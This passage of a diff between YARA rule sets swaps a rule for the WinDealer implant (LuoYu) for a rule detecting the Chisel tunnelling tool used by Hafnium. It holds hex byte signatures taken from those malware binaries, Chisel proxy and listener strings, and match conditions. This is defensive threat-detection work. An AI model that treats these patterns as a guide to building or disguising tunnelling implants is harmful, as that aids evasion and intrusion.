45 f8 eb 5c 83 f8 0a 7e 2f 8d 45 c0 50 8d 85 c0 fb ff ff 50 8d 85 c0 e3 ff ff 68 [2] 41 00 50 ff 15 [2] 41 00 50 8d 85 c0 e3 ff ff 50 e8 16 fd ff ff 83 c4 18 eb c7 6a 43 8d 45 f4 68 [2] 41 00 50 ff 15 [2] 41 00 83 c4 0c 8d 45 f8 57 57 57 57 50 57 8d 45 f4 57 50 ff 15 [2] 41 00 8b 45 f8 } - $s3 = { 53 59 53 54 45 4d 5c 43 75 72 72 65 6e 74 43 6f 6e 74 72 6f 6c 53 65 74 5c 43 6f 6e 74 72 6f 6c 5c 4e 65 74 77 6f 72 6b 5c 7b 34 44 33 36 45 39 37 32 2d 45 33 32 35 2d 31 31 43 45 2d 42 46 43 31 2d 30 38 30 30 32 42 45 31 30 33 31 38 7d 5c 25 73 5c 43 6f 6e 6e 65 63 74 69 6f 6e } - $s4 = { 6d 61 63 3a 20 25 30 32 58 3a 25 30 32 58 3a 25 30 32 58 3a 25 30 32 58 3a 25 30 32 58 3a 25 30 32 58 } - $s5 = { 8b d8 59 85 db 59 74 57 56 e8 [2] 00 00 03 d8 53 ff 15 [2] 41 00 6a 00 50 e8 [2] ff ff 6a 64 8d 45 9c 6a 00 50 e8 [2] 00 00 83 c4 1c 8d 45 9c 68 [2] 41 00 68 [2] 41 00 50 ff 15 [2] 41 00 66 8b 8f d2 07 00 00 51 8a 8f d0 07 00 00 51 50 8d 45 9c 50 e8 ?? f1 ff ff 83 c4 1c 5f 5e 33 c0 5b c9 c3 55 } + $s1 = { 55 8b ec 81 ec ac 02 00 00 53 51 52 56 57 c7 45 fc 00 00 00 00 c7 45 f4 00 00 00 00 c7 45 f0 00 00 00 00 c7 45 ec 00 00 00 00 6a 00 ff 15 00 15 41 00 85 c0 0f 85 3e 04 00 00 8d 45 d4 50 6a 00 6a 00 6a 00 6a 00 6a 00 ff 15 84 15 41 00 85 c0 0f 85 1c 04 00 00 8d 85 7c ff ff ff c7 00 b1 5f 5a 22 c7 40 04 c8 5f 75 22 c7 40 08 b1 5f 06 22 b9 03 00 00 00 81 30 ed 5f 06 22 83 c0 04 49 75 f4 8b 7d 08 8b 4d d4 8d 45 f8 50 6a 00 6a 00 6a 00 6a 00 6a 02 ff 71 1c ff 15 88 15 41 00 85 c0 75 6d 8d 45 dc 50 6a 00 6a 00 ff 75 f8 ff 15 8c 15 41 00 85 } + $s2 = { 8d 45 88 c7 00 a1 5f 42 22 c7 40 04 ac 5f 56 22 c7 40 08 d7 5f 29 22 c7 40 0c c2 5f 45 22 c7 40 10 a3 5f 3b 22 c7 40 14 ae 5f 69 22 c7 40 18 80 5f 76 22 c7 40 1c 98 5f 72 22 c7 40 20 88 5f 74 22 c7 40 24 9e 5f 2a 22 c7 40 28 ed 5f 06 22 b9 0b 00 00 00 81 30 ed 5f 06 22 83 c0 04 49 75 f4 8d 45 88 50 8d 85 54 fd ff ff 50 ff 15 dc 12 41 00 83 c4 08 ff 75 cc 8d 85 54 fd ff ff 50 ff 15 d8 12 41 00 83 c4 08 8d 45 ec 50 8d 85 5c ff ff ff 50 6a 01 6a 00 6a 00 8d 85 54 fd ff ff 50 ff 15 98 15 41 00 } + $s3 = { 8d 45 b4 c7 00 21 0a 83 e9 c7 40 04 c5 ce d7 33 c7 40 08 40 c4 06 e2 c7 40 0c a2 87 fb dd b9 04 00 00 00 81 30 ed 5f 06 22 83 c0 04 49 75 f4 8d 45 a4 c7 00 6a f9 14 fe c7 40 04 92 2c c9 33 c7 40 08 65 12 06 88 c7 40 0c ed 14 28 06 b9 04 00 00 00 81 30 ed 5f 06 22 83 c0 04 49 75 f4 8d 45 94 c7 00 75 39 4d 45 c7 40 04 7f b1 d6 33 c7 40 08 40 2e 06 e2 c7 40 0c a2 87 fb dd b9 04 00 00 00 81 30 ed 5f 06 22 83 c0 04 49 75 f4 8d 45 84 c7 00 99 f9 aa 66 c7 40 04 11 b7 d6 33 c7 40 08 4d 23 06 e2 c7 40 0c a2 e9 8e 02 b9 04 00 00 00 81 30 ed 5f 06 22 83 c0 04 49 75 f4 8d 85 b8 fe ff ff c7 00 b2 5f 59 22 c7 40 04 bd 5f 74 22 c7 40 08 82 5f 70 22 c7 40 0c 84 5f 62 22 c7 40 10 88 5f 74 22 c7 40 14 ac 5f 74 22 c7 40 18 8e 5f 6e 22 c7 40 1c 84 5f 72 22 c7 40 20 88 5f 65 22 c7 40 24 99 5f 73 22 c7 40 28 9f 5f 63 22 c7 40 2c ed 5f 06 22 b9 0c 00 00 00 81 30 ed 5f 06 22 83 c0 04 49 75 f4 8d 85 6c ff ff ff c7 00 bf 5f 49 22 c7 40 04 a2 5f 52 22 c7 40 08 b1 5f 45 22 c7 40 0c a4 5f 4b 22 c7 40 10 bb 5f 34 22 c7 40 14 ed 5f 06 22 b9 06 00 00 } + $s4 = { 8d bd fc fe ff ff 32 c0 aa b9 2a 00 00 00 b0 ff f3 aa b0 3e aa b9 03 00 00 00 b0 ff f3 aa b0 3f aa b9 0a 00 00 00 b0 34 aa fe c0 e2 fb b9 03 00 00 00 b0 ff f3 aa 32 c0 aa b9 03 00 00 00 b0 ff f3 aa } + $s5 = { 35 35 35 4f 35 58 35 22 36 35 36 3f 36 2c 37 3f 37 60 37 76 37 } + $s6 = { 3d 2b 3d 47 3d 4d 3d 60 3d 67 3d 6d 3d } + $s7 = { 8b 0e 0f b6 d1 0f b6 dd 57 8d bd fc fe ff ff 8a 04 3a 8a 24 3b c1 e9 10 83 c6 04 0f b6 d1 0f b6 cd 8a 1c 3a 8a 3c 39 5f 8a d4 8a f3 c0 e0 02 c0 eb 02 c0 e6 06 c0 e4 04 c0 ea 04 0a fe 0a c2 0a e3 88 07 88 7f 02 88 67 01 ff 4d fc } condition: - uint16( 0 ) == 0x5A4D and filesize > 80KB and 4 of ( $s* ) + uint16( 0 ) == 0x5A4D and filesize > 25KB and 5 of ( $s* ) } -rule ARKBIRD_SOLG_MAL_Windealer_Oct_2021_2 : FILE +rule ARKBIRD_SOLG_APT_Chisel_Hafnium_Feb_2021_1 : FILE { meta: - description = "Detect modules from WinDealer implant" + description = "Rule for detecting Chisel kit tool used by Hafnium" author = "Arkbird_SOLG" - id = "3cca1fa1-2651-5a93-bef1-d32a7b5be4c9" - date = "2021-10-30" - modified = "2021-10-31" - reference = "https://blogs.jpcert.or.jp/en/2021/10/windealer.html" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-10-30/WinDealer/MAL_WinDealer_Oct_2021_2.yara#L1-L19" + id = "cd6be3b4-71fd-5e17-8835-a331a24fc5d6" + date = "2021-02-23" + modified = "2021-04-25" + reference = "Internal Research" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-02-23/Hafinum/APT_Chisel_Hafnium_Feb_2021_1.yara#L1-L28" license_url = "N/A" - logic_hash = "c2fb5697dcdb34e0fb3e2dbd2df05748eddc2796c253e90503372eb73c475fab" + hash = "4afa5fde76f1f3030cf7dbd12e37b717e1f902ac95c8bdf54a2e58a64faade04" + logic_hash = "8e56234ce59197a8df51b21b89d3a901785dbb0211ab576cb3d194de34b611de" score = 75 - quality = 75 + quality = 57 tags = "FILE" - hash1 = "0c365d9730a10f1a3680d24214682f79f88aa2a2a602d3d80ef4c1712210ab07" - hash2 = "2eef273af0c768b514db6159d7772054d27a6fa8bc3d862df74de75741dbfb9c" + adversary = "Hafnium" tlp = "white" - adversary = "LuoYu" strings: - $s1 = { 81 ec f0 03 00 00 53 55 8b d9 56 8d 44 24 0c 57 8d 4c 24 18 50 51 c7 44 24 18 f4 01 00 00 ff 15 0c [2] 10 85 c0 0f 85 ?? 01 00 00 68 [3] 10 } - $s2 = { 81 ec 24 03 00 00 53 56 8d 44 24 18 57 50 68 03 01 00 00 6a 00 68 [2] 03 10 68 01 00 00 80 c7 44 24 20 00 00 00 00 ff 15 10 [2] 10 85 c0 0f 85 ?? 01 00 00 8d 4c 24 0c 8d 54 24 20 51 52 8b 1d 00 [2] 10 50 68 3f 01 0f 00 50 50 50 8b 44 24 38 68 [2] 03 10 50 ff d3 85 c0 0f 85 ?? 01 00 00 8d 4c 24 0c 8d 54 24 10 51 52 50 68 3f 01 0f 00 50 50 50 8b 44 24 3c 68 [2] 03 10 50 ff d3 85 c0 0f 85 ?? 01 00 00 bf [2] 03 10 83 c9 ff f2 ae f7 d1 2b f9 8d ?? 24 } - $s3 = "%s\\%s\\V5_History.dat" wide - $s4 = { 8b 8c 24 2c 02 00 00 8b 94 24 28 02 00 00 55 57 51 52 8d 44 24 24 53 50 89 74 24 2c e8 05 fb ff ff b9 41 00 00 00 33 c0 8d bc 24 34 01 00 00 83 c4 18 f3 ab 8d 8c 24 1c 01 00 00 51 68 04 01 00 00 ff 15 [2] 03 10 b9 41 00 00 00 33 c0 8d 7c 24 18 50 f3 ab [3] 01 } - $s5 = { 56 6a 10 e8 [3] 00 8b f0 85 f6 74 3a 8b 4c 24 0c 8d 46 04 85 c9 c7 06 [3] 10 c7 00 00 00 00 00 50 74 11 8b 44 24 0c 50 e8 [3] 00 89 46 08 8b c6 5e c3 8b 4c 24 0c 51 e8 [3] 00 89 46 08 8b c6 5e c3 33 } + $str1 = { 48 61 6e 64 73 68 61 6b 69 6e 67 20 77 69 74 68 20 25 73 2e 2e 2e } + $str2 = { 4c 65 74 73 45 6e 63 72 79 70 74 20 63 61 63 68 65 20 64 69 72 65 63 74 6f 72 79 20 25 73 } + $str3 = { 65 6e 63 6f 64 65 20 65 72 72 6f 72 3a 20 25 77 } + $str4 = { 28 65 72 72 6f 72 20 25 73 29 } + $str5 = { 45 72 72 6f 72 20 6c 6f 61 64 69 6e 67 20 63 6c 69 65 6e 74 20 63 65 72 74 20 61 6e 64 20 6b 65 79 20 70 61 69 72 3a 20 25 76 } + $str6 = { 4c 69 73 74 65 6e 69 6e 67 20 6f 6e 20 25 73 3a 2f 2f 25 73 3a 25 73 25 73 } + $str7 = { 46 61 69 6c 65 64 20 74 6f 20 64 65 63 6f 64 65 20 50 45 4d 3a 20 25 73} + $str8 = { 43 6c 6f 73 65 64 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 28 25 73 29 } + $str9 = { 70 72 6f 78 79 23 25 73 } + $seq1 = { 48 89 05 5a 96 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 3c 67 10 00 48 89 44 24 30 48 c7 44 24 38 01 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 05 fd ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d d7 b4 40 00 48 89 15 d8 b4 40 00 83 3d 41 0d 45 00 00 90 0f 85 b5 0b 00 00 48 89 05 b3 b4 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 50 eb 18 00 48 89 44 24 30 48 c7 44 24 38 01 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 96 fc ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d e8 b2 40 00 48 89 15 e9 b2 40 00 83 3d d2 0c 45 00 00 0f 85 36 0b 00 00 48 89 05 c5 b2 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 e3 ea 18 00 48 89 44 24 30 48 c7 44 24 38 01 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 28 fc ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d da b2 40 00 48 89 15 db b2 40 00 83 3d 64 0c 45 00 00 0f 1f 40 00 0f 85 b0 0a 00 00 48 89 05 b3 b2 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 ee 65 10 00 48 89 44 24 30 48 c7 44 24 38 01 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 b6 fb ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d e8 b2 40 00 48 89 15 e9 b2 40 00 83 3d f2 0b 45 00 00 0f 85 31 0a 00 00 48 89 05 c5 b2 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 04 ea 18 00 48 89 44 24 30 48 c7 44 24 38 01 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 48 fb ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d 5a b3 40 00 48 89 15 5b b3 40 00 83 3d 84 0b 45 00 00 0f 1f 40 00 0f 85 aa 09 00 00 48 89 05 33 b3 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 0f 65 10 00 48 89 44 24 30 48 c7 44 24 38 01 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 d6 fa ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d c8 b0 40 00 48 89 15 c9 b0 40 00 83 3d 12 0b 45 00 00 0f 85 2b 09 00 00 48 89 05 a5 b0 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 25 e9 18 00 48 89 44 24 30 48 c7 44 24 38 01 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 68 fa ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d 5a b2 40 00 48 89 15 5b b2 40 00 83 3d a4 0a 45 00 00 0f 1f 40 00 0f 85 a8 08 00 00 48 89 05 33 b2 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 b4 e8 18 00 48 89 44 24 30 48 c7 44 24 38 01 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 f6 f9 ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d 08 b1 40 00 48 89 15 09 b1 40 00 83 3d 32 0a 45 00 00 0f 85 29 08 00 00 48 89 05 e5 b0 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 21 64 10 00 48 89 44 24 30 48 c7 44 24 38 02 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 88 f9 ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d 5a af 40 00 48 89 15 5b af 40 00 83 3d c4 09 45 00 00 0f 1f 40 00 0f 85 a6 07 00 00 48 89 05 33 af 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 b1 63 10 00 48 89 44 24 30 48 c7 44 24 38 02 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 16 f9 ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d c8 b0 40 00 48 89 15 c9 b0 40 00 83 3d 52 09 45 00 00 0f 85 27 07 00 00 48 89 05 a5 b0 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 45 63 10 00 48 89 44 24 30 48 c7 44 24 38 02 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 a8 f8 ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d 9a af 40 00 48 89 15 9b af 40 00 83 3d e4 08 45 00 00 0f 1f 40 00 0f 85 a4 06 00 00 48 89 05 73 af 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 d5 62 10 00 48 89 44 24 30 48 c7 44 24 38 02 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 36 f8 ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d c8 b0 40 00 48 89 15 c9 b0 40 00 83 3d 72 08 45 00 00 0f 85 22 06 00 00 48 89 05 a5 b0 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 69 62 10 00 48 89 44 24 30 48 c7 44 24 38 02 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 c8 f7 ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d fa ad 40 00 48 89 15 fb ad 40 00 83 3d 04 08 45 00 00 0f 1f 40 00 0f 85 9f 05 00 00 48 89 05 d3 ad 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 f9 61 10 00 48 89 44 24 30 48 c7 44 24 38 02 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 56 f7 ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d c8 ae 40 00 48 89 15 c9 ae 40 00 83 3d 92 07 45 00 00 0f 85 1c 05 00 00 48 89 05 a5 ae 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 8d 61 10 00 48 89 44 24 30 48 c7 44 24 38 02 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 e8 f6 ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d 7a ad 40 00 48 89 15 7b ad 40 00 83 3d 24 07 45 00 00 0f 1f 40 00 0f 85 99 04 00 00 48 89 05 53 ad 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 1d 61 10 00 48 89 44 24 30 48 c7 44 24 38 02 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 76 f6 ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d c8 ae 40 00 48 89 15 c9 ae 40 00 83 3d b2 06 45 00 00 0f 85 1a 04 00 00 48 89 05 a5 ae 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 b1 60 10 00 48 89 44 24 30 48 c7 44 24 38 02 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 08 f6 ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d ba ab 40 00 48 89 15 bb ab 40 00 83 3d 44 06 45 00 00 0f 1f 40 00 0f 85 97 03 00 00 48 89 05 93 ab 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 41 60 10 00 48 89 44 24 30 48 c7 44 24 38 02 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 96 f5 ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d 28 ad 40 00 48 89 15 29 ad 40 00 83 3d d2 05 45 00 00 0f 85 18 03 00 00 48 89 05 05 ad 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 d5 5f 10 00 48 89 44 24 30 48 c7 44 24 38 02 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 28 f5 ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d fa ab 40 00 48 89 15 fb ab 40 00 83 3d 64 05 45 00 00 0f 1f 40 00 0f 85 95 02 00 00 48 89 05 d3 ab 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 65 5f 10 00 48 89 44 24 30 48 c7 44 24 38 02 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 b6 f4 ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d 28 ad 40 00 48 89 15 29 ad 40 00 83 3d f2 04 45 00 00 0f 85 16 02 00 00 48 89 05 05 ad 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 f9 5e 10 00 48 89 44 24 30 48 c7 44 24 38 02 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 48 f4 ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d 5a aa 40 00 48 89 15 5b aa 40 00 83 3d 84 04 45 00 00 0f 1f 40 00 0f 85 90 01 00 00 48 89 05 33 aa 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 89 5e 10 00 48 89 44 24 30 48 c7 44 24 38 02 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 d6 f3 ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d 28 ab 40 00 48 89 15 29 ab 40 00 83 3d 12 04 45 00 00 0f 85 11 01 00 00 48 89 05 05 ab 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 1d 5e 10 00 48 89 44 24 30 48 c7 44 24 38 02 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 68 f3 ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d da a9 40 00 48 89 15 db a9 40 00 83 3d a4 03 45 00 00 0f 1f 40 00 0f 85 89 00 00 00 48 89 05 b3 a9 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 ad 5d 10 00 48 89 44 24 30 48 c7 44 24 38 02 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 f6 f2 ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d 28 ab 40 00 48 89 15 29 ab 40 00 83 3d 32 03 45 00 00 } + $seq2 = { 48 c7 40 70 00 00 00 00 48 8b 48 08 48 89 0c 24 e8 01 47 ff ff 48 8b 84 24 c0 01 00 00 48 89 04 24 e8 70 e1 00 00 48 8b 84 24 b8 04 00 00 48 8b 48 10 48 89 0c 24 e8 9b 6d ff ff 48 8b 84 24 c0 01 00 00 48 89 04 24 e8 4a e1 00 00 48 8b 84 24 b8 04 00 00 48 8b 48 10 48 89 0c 24 e8 75 6d ff ff 48 8b 44 24 08 48 8b 4c 24 10 48 8b 54 24 18 48 8b 9c 24 80 01 00 00 48 89 1c 24 c6 44 24 08 16 48 89 44 24 10 48 89 4c 24 18 48 89 54 24 20 e8 41 4e fe ff 48 8b 44 24 30 48 8b 4c 24 38 48 83 7c 24 30 00 0f 85 9c 17 00 00 0f 57 c0 0f 11 84 24 18 02 00 00 0f 11 84 24 28 02 00 00 0f 11 84 24 38 02 00 00 48 8b 84 24 b8 04 00 00 48 8b 88 b0 00 00 00 48 8b 11 48 8b 59 08 48 8b 49 10 48 89 94 24 30 02 00 00 48 89 9c 24 38 02 00 00 48 89 8c 24 40 02 00 00 48 8d 8c 24 18 02 00 00 48 89 0c 24 e8 2d a2 ff ff 48 8b 84 24 c0 01 00 00 48 89 04 24 90 e8 7b e0 00 00 48 8d 84 24 18 02 00 00 48 89 04 24 e8 0a a2 ff ff 48 8b 44 24 08 48 8b 4c 24 10 48 8b 54 24 18 48 8b 9c 24 80 01 00 00 48 89 1c 24 c6 44 24 08 16 48 89 44 24 10 48 89 4c 24 18 48 89 54 24 20 e8 76 4d fe ff 48 8b 44 24 30 48 8b 4c 24 38 48 83 7c 24 30 00 66 0f 1f 44 00 00 0f 85 ab 16 00 00 48 8b 84 24 b8 04 00 00 48 8b 48 10 80 79 53 00 0f 85 a9 15 00 00 48 8b 48 18 48 8b 51 20 48 8b 0a 48 8b 9c 24 80 01 00 00 0f b7 73 40 66 89 34 24 ff d1 48 8b 44 24 08 48 89 84 24 f8 00 00 00 48 8b 4c 24 10 48 89 8c 24 38 01 00 00 48 8b 58 20 48 8b b4 24 80 01 00 00 48 8b 7e 48 4c 8b 84 24 b8 04 00 00 4d 8b 88 b0 00 00 00 4d 8b 50 08 4d 8b 58 10 48 89 0c 24 48 89 7c 24 08 4c 89 4c 24 10 4c 89 54 24 18 4c 89 5c 24 20 ff d3 48 8b 44 24 28 48 8b 4c 24 30 48 8b 5c 24 38 48 83 7c 24 30 00 0f 85 c0 14 00 00 48 85 c0 0f 84 93 00 00 00 48 89 84 24 30 01 00 00 48 8b 08 48 8b 50 08 48 8b 58 10 48 85 c9 0f 84 7b 13 00 00 48 8b 84 24 c0 01 00 00 48 89 04 24 48 89 4c 24 08 48 89 54 24 10 48 89 5c 24 18 e8 2c df 00 00 48 8b 84 24 30 01 00 00 48 8b 08 48 8b 50 08 48 8b 58 10 48 85 c9 0f 84 21 12 00 00 48 8b 84 24 80 01 00 00 48 89 04 24 c6 44 24 08 16 48 89 4c 24 10 48 89 54 24 18 48 89 5c 24 20 e8 2b 4c fe ff 48 8b 44 24 30 48 8b 4c 24 38 48 83 7c 24 30 00 0f 85 c6 11 00 00 48 8b 84 24 80 01 00 00 48 8b 48 48 48 83 b9 90 00 00 00 01 90 0f 8d 0b 10 00 00 31 c9 48 89 8c 24 78 01 00 00 48 8d 05 e9 5c 24 00 48 89 04 24 48 c7 44 24 08 04 00 00 00 48 c7 44 24 10 04 00 00 00 e8 4e cd e2 ff 48 8b 44 24 18 c6 00 0e 48 8b 8c 24 c0 01 00 00 48 89 0c 24 48 89 44 24 08 48 c7 44 24 10 04 00 00 00 48 c7 44 24 18 04 00 00 00 0f 1f 00 e8 5b de 00 00 48 8d 05 94 5c 24 00 48 89 04 24 48 c7 44 24 08 04 00 00 00 48 c7 44 24 10 04 00 00 00 e8 f9 cc e2 ff 48 8b 44 24 18 c6 00 0e 48 8b 8c 24 80 01 00 00 48 89 0c 24 c6 44 24 08 16 48 89 44 24 10 48 c7 44 24 18 04 00 00 00 48 c7 44 24 20 04 00 00 00 e8 44 4b fe ff 48 8b 44 24 30 48 8b 4c 24 38 48 83 7c 24 30 00 0f 85 1f 0f 00 00 48 8b 84 24 80 01 00 00 48 89 04 24 66 90 e8 bb 43 fe ff 48 8b 44 24 10 48 8b 4c 24 18 48 83 7c 24 10 00 0f 85 d6 0e 00 00 48 8b 84 24 80 01 00 00 48 89 04 24 e8 34 4c fe ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 10 48 8b 5c 24 10 48 8b 74 24 08 48 8b 7c 24 08 48 83 7c 24 18 00 0f 85 7b 0e 00 00 48 8b 84 24 80 01 00 00 48 8b 48 48 48 83 b9 90 00 00 00 01 0f 8c 55 0e 00 00 48 8d 0d e9 3f 26 00 66 0f 1f 84 00 00 00 00 00 48 39 cf 0f 85 30 0e 00 00 48 89 94 24 b8 01 00 00 0f 85 4f 0d 00 00 48 89 14 24 0f 1f 44 00 00 e8 db 9e ff ff 48 8b 84 24 c0 01 00 00 48 89 04 24 e8 2a dd 00 00 48 c7 84 24 80 03 00 00 00 00 00 00 48 8d bc 24 88 03 00 00 0f 57 c0 48 8d 7f f0 66 0f 1f 84 00 00 00 00 00 66 0f 1f 44 00 00 48 89 6c 24 f0 48 8d 6c 24 f0 e8 de c6 e4 ff 48 8b 6d 00 48 8b 84 24 b8 01 00 00 48 8b 48 18 48 8b 50 20 48 8b 58 28 48 89 8c 24 80 03 00 00 48 89 94 24 88 03 00 00 48 89 9c 24 90 03 00 00 48 8b 8c 24 80 01 00 00 48 89 0c 24 48 8b 94 24 80 03 00 00 48 89 54 24 08 48 8d 7c 24 10 48 8d b4 24 88 03 00 00 48 89 6c 24 f0 48 8d 6c 24 f0 e8 ca c9 e4 ff 48 8b 6d 00 e8 43 27 00 00 48 8b 84 24 80 00 00 00 48 8b 8c 24 88 00 00 00 48 83 bc 24 80 00 00 00 00 0f 85 4a 0c 00 00 48 8b 94 24 b8 01 00 00 48 83 7a 20 00 0f 84 26 0c 00 00 48 8b 94 24 80 01 00 00 48 8b 8a 98 00 00 00 48 8b 9a 90 00 00 00 48 85 c9 0f 86 7e 13 00 00 48 8b 03 48 8b 88 a0 00 00 00 48 8b 80 a8 00 00 00 48 89 8c 24 f0 00 00 00 48 89 84 24 20 01 00 00 48 89 14 24 e8 88 4a fe ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 08 48 8b 5c 24 10 48 83 7c 24 18 00 0f 85 9d 0b 00 00 48 8b 84 24 f0 00 00 00 48 8b 8c 24 20 01 00 00 48 89 94 24 00 01 00 00 48 89 8c 24 20 01 00 00 48 89 84 24 f0 00 00 00 48 89 9c 24 40 01 00 00 48 8b b4 24 80 01 00 00 48 8b 7e 48 48 83 } + $seq3 = { 48 89 34 24 e8 65 6c fe ff 48 8d bc 24 f8 03 00 00 48 8d 74 24 08 48 89 6c 24 f0 48 8d 6c 24 f0 e8 2f be e4 ff 48 8b 6d 00 48 8b 84 24 80 01 00 00 48 8b 48 48 48 8b 51 58 48 8b 0a 48 89 e7 48 8d b4 24 f8 03 00 00 0f 1f 80 00 00 00 00 48 89 6c 24 f0 48 8d 6c 24 f0 e8 f7 bd e4 ff 48 8b 6d 00 ff d1 48 8b 84 24 b0 00 00 00 48 8b 8c 24 b8 00 00 00 48 83 bc 24 b0 } condition: - uint16( 0 ) == 0x5A4D and filesize > 80KB and 4 of ( $s* ) + uint16( 0 ) == 0x5a4d and filesize > 100KB and 2 of ( $seq* ) and 7 of ( $str* ) } -rule 